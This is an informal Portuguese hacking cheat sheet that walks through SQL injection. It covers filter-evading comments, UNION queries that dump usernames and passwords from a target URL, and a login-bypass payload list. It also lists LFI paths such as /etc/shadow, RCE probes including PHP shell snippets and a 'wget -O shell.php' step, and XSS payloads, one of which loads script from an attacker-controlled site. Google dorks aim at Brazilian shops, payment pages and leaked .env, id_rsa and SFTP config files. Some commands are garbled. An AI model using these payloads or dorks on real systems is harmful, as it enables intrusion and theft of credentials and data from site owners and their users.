0x6c65ct é uma representação hexadecimal de "lect", então juntos se0x6c65ct se
traduz em "select".
(/*50000se0x6c65ct*/+1) no final teríamos algo semelhante a UNION ALL SELECT 1

/*12345UnioN*//**/(/* 12345SeLECT*//**/1): Este exemplo utiliza comentários de

estilo C para ofuscar as palavras-chave UNION e SELECT
/*12345UnioN*//**/: Aqui, Você está usando comentários (/* ... */) para tentar
ocultar a palavra-chave UnioN. Os comentários em SQL são ignorados pelo processador
SQL, então a presença deles não afeta a execução da consulta

Quando falamos de "comentários estilo C", estamos nos referindo à forma como os
comentários são escritos na linguagem C.
Em C, você pode criar comentários de duas formas:
Comentários de linha única: Esses comentários começam com // e o compilador ignora
tudo após // até o final da linha.
Comentários de múltiplas linhas: Esses comentários começam com /* e terminam com
*/. O compilador ignora tudo entre esses símbolos, permitindo que você tenha
comentários que ocupem várias linhas.

Em SQL, também é possível usar comentários estilo C de múltiplas linhas (/* ...
*/), além de comentários de linha única com dois hífens (--)

---------------------------------------------------------------------------

Error-based sql basicamente fazer mensagens de erro:

DATABASE VERSION: Você pode querer conhecer a versão do banco de dados para
identificar possíveis vulnerabilidades específicas da versão. Uma consulta típica
pode ser algo como ' UNION SELECT VERSION(),2,3,4,5 -- '. Se o banco de dados for
vulnerável, ele retornará a versão do banco de dados.

DATABASE NAME: Da mesma forma, saber o nome do banco de dados pode ajudar Você a
construir consultas mais eficazes para extrair dados. Uma consulta típica pode ser
' UNION SELECT DATABASE(),2,3,4,5 -- '.

GET TABLES: Após descobrir o nome do banco de dados, o próximo passo para Você
seria descobrir as tabelas que o banco de dados contém. Uma consulta típica pode
ser ' UNION SELECT table_name,2 FROM information_schema.tables WHERE
table_schema=DATABASE() -- '.

GET COLUMNS: Depois que Você conhece as tabelas, ele vai querer saber quais colunas
essas tabelas contêm. Uma consulta típica pode ser ' UNION SELECT column_name,2
FROM information_schema.columns WHERE table_name='table' -- '.

DUMP DATA: Depois de conhecer a estrutura do banco de dados, Você vai querer
extrair dados. Uma consulta típica pode ser ' UNION SELECT * FROM table -- '

---------------------------------------------------------------------------
Local File Inclusion (LFI)

/etc/passwd: Este é o arquivo de senhas do sistema Unix, que contém uma lista de
contas de usuário.

/proc/version: Este arquivo contém informações sobre a versão do kernel do sistema.

/proc/self/environ: Este arquivo contém as variáveis de ambiente do processo atual.

/etc/hosts: Este arquivo é usado para mapear nomes de host para endereços IP.

/etc/shadow: Este arquivo contém senhas criptografadas de usuários.

/etc/group: Este arquivo contém a lista de grupos do sistema e seus membros.

../: Este é um caminho relativo que representa o diretório pai, que pode ser usado
para transversal de diretório.

%2f: Este é um encoding de URL para o caractere "/", que pode ser usado para bypass
de filtros que bloqueiam certos caracteres.

%2£??c%2f??s??d: Isto parece ser uma tentativa de usar o encoding de URL para
transversal de diretório, embora a sintaxe pareça incorreta.

%00: Este é um caractere nulo, que pode ser usado para terminar uma string
prematuramente em algumas situações.

/etc/mysql/my.conf: Este é o arquivo de configuração do MySQL.

/etc/issue: Este arquivo normalmente contém uma mensagem ou informações do sistema

que são exibidas antes do prompt de login.

/logs/error.log: Este é um local comum para o arquivo de log de erros de um

servidor web.

/logs/access.log: Este é um local comum para o arquivo de log de acesso de um

servidor web.

---------------------------------------------------------------------------

RCE ou Remote Code Execution

is, id, uname, whoami, which python: Estes são comandos do shell do Unix que podem
ser usados para coletar informações sobre o sistema, como o nome do usuário atual e
a versão do Python instalada.

cat /etc/passwa: Este comando tenta exibir o conteúdo do arquivo /etc/passwd, que
contém informações sobre as contas de usuário no sistema Unix.

PHPinfo: Esta é uma função do PHP que exibe informações detalhadas sobre a
configuração do PHP no servidor, o que pode ajudar Você a identificar outras
possíveis vulnerabilidades.

<?php passthru('whoami'); ?>: Este é um script PHP que executa o comando 'whoami'
no servidor e retorna a saída. O comando 'whoami' exibe o nome do usuário que está
executando o script.

php create file .txt: Isto parece ser uma instrução para criar um arquivo .txt
usando PHP, embora a sintaxe esteja incorreta.

wget -O shell.php: Este é um comando Unix que tenta baixar um arquivo shell.php da
internet. Isso pode ser parte de um ataque de shell web, onde Você tenta fazer o
servidor baixar e executar um shell de comando malicioso.

‹?php system(Is);?>: Este é um script PHP que executa o comando Unix 'ls', que
lista os arquivos no diretório atual.

CMD -> ?%a0=id: Injeção de solicitação HTTP.

A sequência "%a0=" é uma codificação de URL para um caractere de espaço, seguido
por "id", que é um comando Unix que exibe informações sobre o usuário atual.

---------------------------------------------------------------------------

SS, ou Cross-Site Scripting

<script>alert(1);</script>: Este é um exemplo clássico de ataque XSS. Você tenta

injetar um script que exibe uma caixa de alerta com o número 1. Se este script for
executado, isso indica que o site é vulnerável a XSS.

<IMG SRC-javascript:alert("XSS ")>: Aqui, Você está tentando abusar do atributo SRC
de uma tag IMG para executar código JavaScript. O uso do "javascript:" no atributo
SRC é uma forma de executar JavaScript quando a imagem é carregada.

<img src=foo.png onerror=alert (/ xssed/) />: Neste exemplo, Você tenta carregar
uma imagem que não existe (foo.png), de modo que o evento de erro é disparado.
Quando isso acontece, o código JavaScript no atributo "onerror" é executado.

‹style> @im\port' ja\vasc\ript: alert("XSS");</style>: Este exemplo tenta usar uma

declaração CSS '@import' para carregar e executar código JavaScript. No entanto,
este método geralmente não funciona em navegadores modernos por motivos de
segurança.

<script src=http://exemploze.com/seu_arquivo.js></script>: Neste caso, Você tenta

fazer o navegador carregar e executar um arquivo JavaScript de um site controlado
pelVocê.

------------------------------------------------------------------------------

String para Hex (Hexadecimal): Converter uma string em hexadecimal envolve

representar cada caractere na string por seu valor hexadecimal equivalente.
Por exemplo, a letra 'a' é representada pelo valor hexadecimal '61'.
A conversão reversa (Hex para String) envolve a conversão desses valores
hexadecimais de volta para seus caracteres correspondentes.
Transformamos palavras em um código secreto chamado "hexadecimal" que é mais fácil
de trabalhar do que os 0s e 1s de código binário

String para URL Encoding: URL Encoding (também chamado de percent encoding) é um
mecanismo usado para converter caracteres não alfanuméricos em uma forma que pode
ser transmitida pela URL.
Por exemplo, o espaço em branco é codificado como '%20'.
A conversão reversa (URL decode) envolve converter esses códigos de volta para os
caracteres originais.
Às vezes, temos caracteres que a internet não gosta muito (como espaços e
símbolos).
Então, trocamos esses caracteres por outros que a internet acha mais fáceis de
entender

String para Base64: A codificação Base64 é usada para converter dados binários em
strings de texto ASCII.
É comumente usada quando há necessidade de codificar dados binários, especialmente
ao esses dados precisam ser armazenados e transferidos pela internet. Por exemplo,
a string 'hello' é codificada em Base64 como 'aGVsbG8='.
A conversão reversa (Base64 para String) envolve decodificar a string Base64 de
volta para a string original.
Se tivermos informações importantes que precisamos enviar pela internet, podemos
usar o Base64 para disfarçá-las e garantir que cheguem corretamente.

String para Binário: A conversão de uma string para binário envolve a substituição
de cada caractere por seu equivalente em código binário.
Por exemplo, a letra 'a' é representada pelo valor binário '01100001'.
A conversão reversa (Binário para String) envolve a conversão desses códigos
binários de volta para seus caracteres correspondentes.
Às vezes, precisamos ver as palavras como o computador vê - em 0s e 1s. Então,
transformamos palavras em binário e de volta para palavras

String para CHR: Converter uma string para CHR significa representar cada caractere
da string por seu valor ASCII correspondente.
A função CHR pega um número que representa um valor ASCII e retorna o caractere
correspondente. Por exemplo, CHR(97) retornaria 'a'.
A conversão reversa envolve a substituição desses códigos ASCII pelos caracteres
correspondentes.

String para /[STRING]/ e String para /150000STRING/ e String para /112345STRING/:

Parecem ser formatos personalizados, não padrões de codificação conhecidos.
Talvez sejam usados para comentar ou destacar partes de um código, como em SQL ou
CSS. A parte entre /* e */ é um comentário e é ignorada pelo interpretador.
Essas são formas de disfarçar ou destacar partes do nosso código

String para SHA-1 e String para MD5: Estes são exemplos de funções hash
criptográficas. Quando uma string é convertida usando uma função hash, ela produz
um valor fixo, chamado de hashhhhhhhhhhh.
Por exemplo, o hash MD5 da string 'hello' é '5d41402abc4b2a76b9719d911017c592'.
As funções hash são usadas para verificar a integridade dos dados, mas não são
reversíveis, ou seja, você não pode converter o hash de volta para a string
original.
locura né vei mas bom demaize!

EXEMPLO DE CADA UM EM PYTHON PRA VOCE NUTELA EM PYTHON:

String para Hex

# Convertendo String para Hexadecimal
print("olá".encode("utf-8").hex())
# saída: 'c3b36c61'

# Convertendo Hexadecimal para String

print(bytes.fromhex('c3b36c61').decode("utf-8"))
# saída: 'olá'

--

String para URL Encoding

from urllib.parse import quote, unquote

# Convertendo String para URL Encoding

print(quote("olá mundo"))
# saída: 'ol%C3%A1%20mundo'

# Convertendo URL Encoding para String

print(unquote('ol%C3%A1%20mundo'))
# saída: 'olá mundo'

--

tring para Base64

import base64

# Convertendo String para Base64

print(base64.b64encode("olá".encode("utf-8")).decode())
# saída: 'b2zDoQ=='

# Convertendo Base64 para String

print(base64.b64decode('b2zDoQ==').decode())
# saída: 'olá'

--

String para Binário

# Convertendo String para Binário
print(''.join(format(ord(i), '08b') for i in 'olá'))
# saída: '11000011101100110110110001100001'

# Convertendo Binário para String

print(''.join(chr(int(''.join(x), 2)) for x in
zip(*[iter('11000011101100110110110001100001')]*8)))
# saída: 'olá'

--

String para CHR

# Convertendo String para CHR
print(', '.join(str(ord(i)) for i in 'olá'))
# saída: '111, 108, 225'

# Convertendo CHR para String

print(''.join(chr(i) for i in [111, 108, 225]))
# saída: 'olá'

--

String para SHA-1 e String para MD5

import hashlib

# Convertendo String para SHA-1

print(hashlib.sha1('olá'.encode()).hexdigest())
# saída: '5866d3e716e7e4b24e65a7e3db051acc92c7445e'

# Convertendo String para MD5

print(hashlib.md5('olá'.encode()).hexdigest())
# saída: 'eb3d4785756a5c988c32a17b0892900b'
---------------------------------------------------------------------------

HTML EM QUERY

"<br/>"
"<h2>"
"<h2/>"
"<font color=yellow>"
"font/>"
"<p> e </p>"
"<img src="URL">"
"<strong>"
"</strong>"
"<em>"
"</em>"

Construção de uma query

Termos
0x00 byte nulo, que não tem valor
@ curso ou ponteiro em linguagem sql
Tabelas derivadas |

concat([userful info],[query])
concat([userful info],(select (@x) from()x))

o "x" no final vai ser para ajudar nas colunas e tabelas

concat([userful info],(select (@x:=0x00) from (select (@) )x))

concat([userful info],(select (@x) from (select (@x:=0x00),(select (0)

from(information_schema.columns) where (table _schema!=information_schema) and
(0x00) in (@x:=concat(table_schema,table_name,column_name))))x))

Estamos selecionando (@X) das colunas e tabelas derivadas

Ex: (select (@x:=0x00),(select (0) from(information_schema.columns) where (table
_schema!=information_schema) and (0x00) in
(@x:=concat(table_schema,table_name,column_name))))x

Estamos definindo (@X) também como nulo/0x00

Ex: (@x:=0x00)

---------------------------------------------------------------------------

EXEMPLO TEMOS UM SITE ALVO COM 9 COLUNAS

http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,7,8,9(database(),version(),user())

(database(),version(),user()): Esta é a parte da consulta. Você está tentando obter

informações sensíveis, como o nome do banco de dados (database()), a versão do
sistema de gerenciamento de banco de dados (version()) e o usuário atualmente
logado no banco de dados (user())
OUTRO PASSO

http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,
group_concat(table_name,<br>),8,9 from information_schema.tables where
table_schema=database()

Converta <br> em formato hexadecimal

group_concat(table_name,<br>),8,9: O group_concat é uma função que concatena os

valores de uma coluna em uma única string.
Neste caso, ele está sendo usado para juntar todos os nomes de tabela (table_name)
em uma única string, separados por um elemento de quebra de linha HTML (<br>).

from information_schema.tables: information_schema.tables é uma tabela especial que

armazena metadados sobre todas as outras tabelas no banco de dados.
A consulta está selecionando dados desta tabela.

where table_schema=database(): Esta é a condição da consulta, está selecionando

apenas as tabelas que pertencem ao banco de dados atual (database())

OUTRO PASSO

http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,
group_concat(table_name,<br>),8,9 from
information_schema.columns where table_name=[table_name]

Converta <br> e {table_name} em formato hexadecimal.

where table_name=[table_name]: Esta é a condição da consulta. Está selecionando

apenas as colunas que pertencem à tabela com um nome específico ([table_name]), que
seria o nome da tabela que Você está interessado.
Portanto, o que esta consulta faz é listar todos os nomes de colunas na tabela cujo
nome é fornecido em [table_name]

OUTRO PASSO

EXTRAINDO DADOS DA COLUNA

http://example.com/exemplo.php?id=7'
UNION SELECT =
1,2,3,4,5,6,group_concat(id,*,username,*,password),8,9 from [column_name]

Converta "*" em formato hexadecimal

group_concat(id,*,username,*,password),8,9: Aqui, o comando group_concat está sendo

usado para juntar os valores de várias colunas em uma única string.
Extrair as colunas id, username e password.
O caractere asterisco (*) está sendo usado como um delimitador para separar os
valores de cada coluna.

from [column_name]: Neste caso, [column_name] deve ser substituído pelo nome da
tabela de onde Você deseja extrair informações.
Por exemplo, poderia ser uma tabela que contém informações de usuários, como users.
Estamos listando todos os IDs, nomes de usuários e senhas da tabela especificada.
-----------------------------------------------------------------------------------
-----

Por exemplo, uma dork pode ser usado para encontrar páginas que possam estar
vulneráveis a injeção SQL, encontrando URLs que incluem parâmetros de consulta SQL
na string da URL.

Encontrar páginas com certos termos na URL:

inurl:login

Encontrar páginas com certos termos no título:

intitle:"index of"

Encontrar páginas que linkam para certos domínios ou páginas:

link:meuexemploze.com

Encontrar páginas que contêm certos termos de pesquisa em seu texto:

intext:"confidential"

Encontrar páginas que indexam diretórios de arquivos em servidores:

intitle:"index of" inurl:"/wp-content/uploads"

Encontrar arquivos de um tipo específico:

filetype:pdf

CRIANDO

As aspas duplas (") são usadas em pesquisas para indicar que você deseja pesquisar
a frase exata que está entre as aspas

(KW) Palavra-chave: "login". A palavra-chave é um termo que você está tentando

encontrar nas páginas da web.
(PF) Filtro ou prefixo: "inurl:". O prefixo "inurl:" é usado em pesquisas do Google
para encontrar páginas que têm a palavra-chave especificada em sua URL.
(PT) Tipo de arquivo ou caminho: "filetype:pdf". O "filetype:" é usado para
pesquisar arquivos específicos disponíveis na web.
(DE) Domínio específico: "site:meuexemploze.com". "site:" é usado para restringir
os resultados da pesquisa a um domínio específico.
(SF) String de pesquisa ou sufixo: "intext:". "intext:" é usado para encontrar
páginas da web que contenham o termo de pesquisa especificado em seu corpo de
texto.

inurl:login intext:admin filetype:php: Dork pode ser usado para encontrar páginas
de login (KW) que possuem a palavra 'admin' (PF) no texto e são do tipo de arquivo
PHP (PT).

intext:confidential intitle:documents filetype:pdf site:example.com: Este Dork

procura por documentos (PF) que contêm a palavra 'confidential' (KW) no texto, são
do tipo PDF (PT) e estão no domínio example.com (DE).

intitle:login site:example.com + intext:username: Aqui, você está procurando pelo

domínio example.com (DE) que tem uma página de login (SF) e inclui a palavra
'username' (KW) no texto da página.

intitle:admin inurl:login filetype:html: Neste caso, você está procurando por um

site que possui uma página de login (SF), contém a palavra 'admin' (KW) no título
da página, e é do tipo de arquivo HTML (PT)

páginas de login de universidade:

inurl:login intext:universidade site:.edu.br

páginas de login de administração:

inurl:admin intext:login site:.br

encontrar documentos PDF:

filetype:pdf site:.br

Encontrar páginas de configuração de roteadores:

inurl:"/cgi-bin/webproc"

Encontrar páginas de administração de dispositivos D-Link:

inurl:"/Admin/ManageDevice.html"

Primeiramente, você precisa identificar qual é o seu objetivo.

Você quer encontrar arquivos específicos, páginas de login, informações de
administração, ou algo diferente?
Seu objetivo definirá o tipo de operadores e palavras-chave que você usará.
Usar operadores de pesquisa: Dorks faz uso de operadores especiais como "inurl:",
"intext:", "intitle:", "filetype:", e "site:" para especificar onde a pesquisa deve
ser feita.
Por exemplo, "inurl:" verifica na URL das páginas, enquanto "intext:" verifica no
corpo do texto das páginas.

Usar caracteres coringa: O caracter "*" pode ser usado como um coringa para
representar qualquer palavra ou frase.
Isso pode tornar sua Dork mais flexível e abrangente ela e mais direta tlgd.
Você pode usar parênteses para agrupar várias condições juntas.
Por exemplo, (inurl:login | inurl:admin) intext:password filetype:txt e por ai vai.

FORMATO DE PAGINAS QUE VOCÊ PODE INCLUIR NA SUA DORK:

intext: - Pesquisar nas páginas da web pelo texto exato que você especificar.
site: - Pesquisa um domínio específico
intitle: - Pesquisa por páginas cujos títulos contêm a palavra-chave especificada
allintitle: - Semelhante ao intitle:, mas retorna apenas páginas que contêm todas
as palavras-chave especificadas no título
inurl: - Pesquisa nas URLs das páginas da web pelo texto exato que você especificar
allintext: - Pesquisa por páginas que contêm todas as palavras-chave especificadas
em algum lugar do texto
filetype: - Este operador procura arquivos de um tipo específico
define: - Este operador pede ao Google para mostrar a definição da
palavra(define:ovo mostrará a definição da palavra "ovo")
cache: - Mostra a versão em cache de uma página da web.
link: - Este operador mostra páginas que apontam para um URL específico
related: - Este operador lista páginas da web que são "semelhantes" a um URL
especificado
info: - Apresenta informações que o Google tem sobre uma página da web

php, php4, php3: São os arquivos do bom e velho PHP. Um monte de sites usa isso
para fazer tudo funcionar.
asp, aspx: Isso aí é coisa da Microsoft. Eles usam essas extensões nos seus sites.
html, htm: Esse é o pão com manteiga da internet. Todo site tem um pouco de HTML.
jsp: Isso aí é quando os sites querem se vestir de Java. É outra maneira de fazer
as coisas funcionarem.
cgi: É um jeito antigo de fazer as coisas na web, mas ainda tem um monte de site
que usa.
cfm: Essa é a extensão dos arquivos feitos no ColdFusion, que é uma ferramenta da
Adobe.
flv: Isso aí é vídeo em Flash. Antigamente era muito usado, mas hoje em dia nem
tanto.
pdf: Esses são os documentos que você baixa quando precisa imprimir alguma coisa.
Tudo que é formulário está nesse formato.
jsf: Isso é um tipo de arquivo usado em sites que foram feitos com JavaServer
Faces.
psml: Essa extensão é de um tipo de documento usado pelo PageSeeder.
raw: Esse é o tipo de arquivo de imagem que não foi mexido, é a foto pura, sem
edição.
file: Qualquer tipo de arquivo.
tss: Estilo TypeScript.
blog: Onde as pessoas compartilham suas histórias e ideias.

PREFIXO SEMPRE BR
.com.br
.br
.gov.br
.edu.br
.org.br
.net.br
.saude.br
Cada um destes domínios dá uma indicação do tipo de organização que mantém o site

VAMOS COMEÇAR A SIMPLICAR EU QUERO UMA CAMISA AZUL TIPO DO BLUEPEN?

intext:"camisa" "cor azul" site:.br

QUERO UM TÊNIS DA NIKE

intext:"tênis" "Nike" site:.com.br

A DUCK 🦆 MAS SO VEM BUSCA OFICIAL DA NIKE.COM RETIRE ELA POR EXEMPLO
intext:"tênis" "Nike" site:.com.br -site:nike.com.br

QUERO ENCONTRAR ASSINATURAS

intext:"assinatura" site:.com.br
intext:"assinatura" "jornal" site:*.br

QUERO ENCONTRAR MEIA SO DO HOMEM ARANHA

"meia homem aranha" site:.com.br

QUERO ENCONTRAR MAIORIA DOS MERCADO DE SAMPA

"mercado" "São Paulo" site:*.br

A DUCK 🦆 MAS QUERO SO MERCADO DA AUGUSTA

"mercado" "Rua Augusta" "São Paulo" site:.com.br

PARÂMETROS EM URLS
inurl:"?asp=" site:.com.br - busca URLs com o parâmetro "?asp="
inurl:"?id=" site:.com.br - busca URLs com o parâmetro "?id="
inurl:"?register=" site:.com.br - busca URLs com o parâmetro "?register="
inurl:"?login=" site:.com.br - busca URLs com o parâmetro "?login="
inurl:"?item=" site:.com.br - Busca URLs com o parâmetro "?item="
inurl:"?produto=" site:.com.br - Busca URLs com o parâmetro "?produto="
inurl:"?perfil=" site:.com.br - Busca URLs com o parâmetro "?perfil="
inurl:"?categoria=" site:.com.br - Busca URLs com o parâmetro "?categoria="
inurl:"?pagina=" site:.com.br - Busca URLs com o parâmetro "?pagina="
inurl:"?post=" site:.com.br - Busca URLs com o parâmetro "?post="
inurl:"?artigo=" site:.br - Busca por URLs com o parâmetro "?artigo="
inurl:"?postagem=" site:.br - Busca por URLs com o parâmetro "?postagem="
inurl:"?usuario=" site:.br - Busca por URLs com o parâmetro "?usuario="
inurl:"?pasta=" site:.br - Busca por URLs com o parâmetro "?pasta="
inurl:"?arquivo=" site:.br - Busca por URLs com o parâmetro "?arquivo="
inurl:"?pagina=" site:.br - Busca por URLs com o parâmetro "?pagina="

SIMPLEFIQUE E ACRESCENTE!

VAMOS LÁ POR EXEMPLO intext:"integração" "Cielo" site:.com.br VAI ENCONTRAR PAGINAS

QUE TEM INTEGRAÇÃO DA CIELO
AGORA VAMOS MODIFICAR intext:"loja" "pagamento cielo" site:.com.br
ESTA COMEÇANDO A FICAR MELHOR VAMOS MODIFICAR loja "pagamento cielo" site:*.br
VOCE OBSERVA QUE ESTAMOS SIMPLIFICANDO A DORK EM VARIAS FORMA E OS RESULTADOS SO
MELHORA.

intext:"roupa" "pagseguro" site:*.br

intitle:"pagseguro" inurl:pagamento filetype:html site:.br
inurl:contato intext:"pagseguro" site:.com.br
intitle:"carrinho" intext:"checkout" site:.com.br
inurl:produto filetype:php site:.com.br
intext:"login" inurl:cliente site:.com.br
intext:"loja" "pagamento cielo" site:.com.br

intext:"payment" "braintree" site:.com

inurl:cart "authorize.net" site:.com
inurl:payment "stripe" site:.com
intitle:"complete purchase" "square" site:.com

inurl:/wp-content/plugins/wp-job-manager/
inurl:/wp-content/themes/
inurl:/wp-content/themes/blinc/
inurl:/sites/default/files/up.php

filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password

filename:.remote-sync.json
filename:.ftpconfig
filename:sftp-config.json
filename:id_rsa or filename:id_dsa
filename:sshd_config

inurk:/admin/ ext:php
"shopping portal" "my account"
inurl:/login.php "shopping portal" "sign up"

EXPLOIT :
.com/admin

USUARIO E SENHA:
' or 1=1 limit 1 -- -+
Payloads pra bypass o login via XPath, LDAP/SQL injection
admin
root
guest
test
' or '1'='1
' or ''='
" or ""*"
or true--
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
' or 0=0 –
" or 0=0 --
" or 0=0 #
" or 0=0 –

Suponha que temos um site que permite que os usuários façam login.
Atrás das cenas, quando um usuário tenta fazer login, o site cria uma consulta SQL
que se parece com isto:
SELECT * FROM users WHERE username = 'USERNAME' AND password = 'PASSWORD';

Aqui, USERNAME e PASSWORD são substituídos pelas entradas fornecidas pelo usuário.
Agora, suponha que você entre com o seguinte campo no nome de usuário:
' OR '1'='1

E deixe o campo da senha vazio.

Sem nenhuma prevenção adequada de injeção SQL, a consulta se tornará:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Devido à forma como a lógica OR funciona em SQL, a consulta agora está efetivamente
pedindo ao banco de dados para retornar todos os usuários onde o nome de usuário é
vazio ou 1=1 (que é sempre verdadeiro)
Por exemplo, considere uma URL que leva a um item específico em uma loja online,
como https://www.meuexemploze.com/produto?id=123. Se a aplicação não validar
adequadamente o parâmetro id, você pode ser capaz de alterar a URL para
https://www.meuexemploze.com/produto?id=123 OR 1=1
Potencialmente ganhando acesso a todos os produtos na loja.

Imagine que você é um super-herói que protege a cidade dos terríveis vilões
cibernéticos.
Seus poderes vêm das práticas de segurança na web.
Agora, vamos conhecer alguns desses vilões e como combatê-los!
O Injetor: Este vilão é conhecido por transformar dados inofensivos em terríveis
comandos de código.
Ele pode usar injeção de SQL, injeção de scripts do lado do servidor ou injeção de
scripts do lado do cliente para causar estragos em seu sistema.

O Rastejador de Diretórios: Este vilão se arrasta pelos caminhos do arquivo,

acessando e potencialmente manipulando arquivos em todo o sistema de arquivos.

O Cookie Monster: Este não é o adorável monstro azul que adora biscoitos. Este
monstro adora roubar e manipular cookies. Ele pode ler ou alterar

O Brutamontes: Este vilão não é conhecido por ser sutil. Ele vai continuar tentando
adivinhar suas credenciais até acertar. Como você para um vilão que não sabe
desistir? Limite o número de tentativas de login kkkkkkkkkkkkk

BOM POSSIVELMENTE ESQUECI BASTANTE COISA MAS AGORA VAI DO SEU DESEMPENHO, NÃO
EXISTE LIMITAÇOES
ESSE FOI UM CURTO RESUMO DOS NOSSOS ESTUDOS ATÉ A PROXIMA!

© 2023 Duck. Todos os direitos reservados.